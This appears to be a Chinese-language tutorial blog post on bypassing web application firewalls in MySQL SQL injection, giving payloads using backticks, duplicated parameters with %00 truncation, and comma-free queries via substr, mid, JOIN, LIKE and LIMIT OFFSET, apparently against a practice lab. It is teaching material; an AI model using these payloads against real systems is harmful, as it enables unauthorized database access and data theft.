当前位置:网站首页>SQL 注入繞過(二)
SQL 注入繞過(二)
2022-06-28 02:21:00 【Aτθ】
一、反引號繞過
在 mysql 可以使用 `這裏是反引號` 繞過一些 waf 攔截。字段可以加反引號或者不加,意義相同。
insert into users(username,password,email)values('test','123456','[email protected]');
insert into users(`username`,`password`,`email`)values('test','123456','[email protected]');
\N'union distinct select 1,(select version() from `users` limit 1)--+&submit=1

二、脚本語言特性繞過
1、介紹
在 php 語言中,id=1&id=2 後面的值會自動覆蓋前面的值,不同的語言有不同的特性。可以利用這點繞過一些 waf 的攔截。
id=1%00&id=2 union select 1,2,3
有些 waf 會去匹配第一個 id 參數1%00, %00 是截斷字符,waf 會自動截斷 從而不會檢測後面的內容。到了程序中,id 就等於 id=2 union select 1,2,3 從繞過注入攔截。
其他語言特性

2、實操1


3、實操2
?name=vince%00&name=' union select 1,database()--+&submit=1

三、逗號繞過
目前有些防注入脚本都會逗號進行攔截,例如常規注入中必須包含逗號。
select * from users where id=1 union select 1,2,3,4;
一般會對逗號過濾成空,select * from users where id=1 union select 1 2 3 4;這樣SQL 語句就會出錯。所以,可以不使用逗號進行 SQL 注入。
繞過方法如下:
1、第一種方式:substr 截取字符串
查詢當前庫第一個字符:
select(substr(database() from 1 for 1));
查詢 p 等於 select(substr(database() from 1 for 1)),頁面返回正常。
select * from users where id=1 and 'p'=(select(substr(database() from 1 for 1)));
可以進一步優化 m 換成 hex 0x6D,這樣就避免了單引號。
select * from users where id=1 and 0x70=(select(substr(database() from 1 for 1)));

?name=vince' and (select(substr(database() from 1 for 1)))='p'--+&submit=1 ?name=vince' and (select(substr(database() from 1 for 1)))='x'--+&submit=1


2、第二種方式:mid 截取字符串
這個 min 函數跟 substr 函數功能相同,如果 substr 函數被攔截或者過濾可以使用這個函數代替。
select (mid(database() from 1 for 1));
select * from users where id=1 and 'p'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x70=(select(mid(database() from 1 for 1)));

3、第三種方式: 使用 join 繞過
使用 join 自連接兩個錶:
union select 1,2 #等價於 union select * from (select 1)a join (select 2)b,其中a 和 b 分別是錶的別名。
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c join(select 4)d;
這裏也沒有使用逗號,從而繞過 waf 對逗號的攔截。

4、第四種方式:like 繞過
使用 like 模糊查詢 select user() like '%r%'; 模糊查詢成功返回 1,否則返回 0
找到第一個字符後繼續進行下一個字符匹配。從而找到所有的字符串,最後就是要查詢的內容,這種 SQL 注入語句也不會存在逗號。從而繞過 waf 攔截。

5、第五種方式:limit offset 繞過
SQL 注入時,如果需要限定條目可以使用 limit 0,1 限定返回條目的數目,limit 0,1 返回條一條記錄。如果對逗號進行攔截時,可以使用 limit 1 默認返回第一條數據。也可以使用 limit 1 offset 0 從零開始返回第一條記錄,這樣就繞過 waf 攔截。

边栏推荐
- fiddle如何使用代理
- I/o limit process and CPU limit process
- 系统管理员设置了系统策略,禁止进行此安装。解决方案
- What is a web crawler
- The interviewer asked: can you simulate the new operator of JS
- 【sylixos】NEW_1 型字符驱动示例
- 外盘期货哪里可以开户?哪个平台出入金比较安全?
- 评价——秩和比综合评价
- Differences between cesium polygon extrudedheight and height
- [Yocto RM]1 - System Requirements
猜你喜欢

766. toplitz matrix

Adobe Premiere Basics - common video effects (cropping, black and white, clip speed, mirroring, lens halo) (XV)

Cesium 抗锯齿(线,边框等)
![[elt.zip] openharmony paper Club - memory compression for data intensive applications](/img/54/8248c1d95b04498d44a00ea94a6c85.png)
[elt.zip] openharmony paper Club - memory compression for data intensive applications

1382. 将二叉搜索树变平衡-常规方法

How to optimize the "message" list of IM

Numpy----np. reshape()

Adobe Premiere基础-常用的视频特效(裁剪,黑白,剪辑速度,镜像,镜头光晕)(十五)

Appium自动化测试基础 — ADB常用命令(一)

Take n multiple table names of a database as the values of a column in another table (the range can be a table in another database)
随机推荐
【sylixos】NEW_1 型字符驱动示例
【sylixos】NEW_ Example of type 1 character drive
混合app的介绍
Centos8 operation record command version Yum redis MySQL Nacos JDK
学习 pickle
Adding text labels to cesium polygons the problem of polygon center point offset is solved
mysql面试百题集
STM32的通用定时器与中断
Cesium 点击绘制多边形(动态绘制多边形)
How to study efficiently
Jenkins - groovy postbuild plug-in enriches build history information
To understand what is synchronous, asynchronous, serial, parallel, concurrent, process, thread, and coroutine
TIA botu_ Concrete method of making analog input and output Global Library Based on SCL language
将某数据库N多表名作为另外一张表中某一列得值(范围可以是别的数据库中得某张表)
pytorch_ lightning. utilities. exceptions. MisconfigurationException: You requested GPUs: [1] But...
Intranet penetration with FRP
766. toplitz matrix
Appium automation test foundation ADB common commands (I)
要搞清楚什么是同步,异步,串行,并行,并发,进程,线程,协程
Numpy----np. meshgrid()